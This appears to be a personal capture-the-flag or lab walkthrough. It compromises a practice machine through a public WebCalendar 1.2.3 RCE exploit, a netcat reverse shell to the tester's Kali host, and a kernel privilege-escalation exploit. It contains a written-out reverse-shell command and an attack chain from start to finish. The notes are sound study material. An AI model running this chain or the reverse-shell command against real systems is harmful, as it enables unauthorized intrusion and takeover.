Enumeration

2021年7月14日 11:45

1: Use autorecon to enumerate its services, **21, 22, 25, 53, 80** are open
2: Check FTP service, it does not support anonymous signin
3: Check HTTP serivce, use nikto to scan and dirb to enumerate
4: Among enumerated directories and files, **/webcalendar** seems to be interesting
5: There is a login portal at **/webcalendar/login.php**, use default credential to sign in and it fails. Try online dictionary attack and it also fails. The direction is wrong, it is a rabbit hole
6: However, the website reveals the application's version, which is **WebCalendar 1.2.3**. It has a public **RCE** exploit (https://www.exploit-db.com/exploits/18775)
7: Execute **php 18775.php 192.168.217.37 /webcalendar**, get a shell!

Foothold

2021年7月14日 11:45

1: The shell is restricted and unstable, transfer a **netcat** from Kali to the target and connect to Kali's netcat listener: **./nc -nv 192.168.49.217 5555 /bin/bash -e**
2: cat /home/local.txt, get the key

Privilege Escalation

2021年7月14日 11:45

1: Transfer linenum and linpeas script to target service and run
2: Mysql is run on **localhost**, however, it is **not vulnerable** to LPE vulnerability
3: **PureFTP** and **PostFIX** are **run by root**, they are **not vulnerable** to LPE vulnerability
4: The kernel version is **3.0.0-12** which is vulnerable, a public exploit can be found here (https://github.com/lucyoa/kernel-exploits)
5: Run the binary and get a root shell
6: cat /root/proof.txt

Review

2021年7月14日 11:45

1: Target **HTTP** service
2: **RCE** Vulnerability exists in **WebCalendar**
3: Make a more **stable** reverse shell
4: Identify **kernel's** vulnerability which can lead to local privilege escalation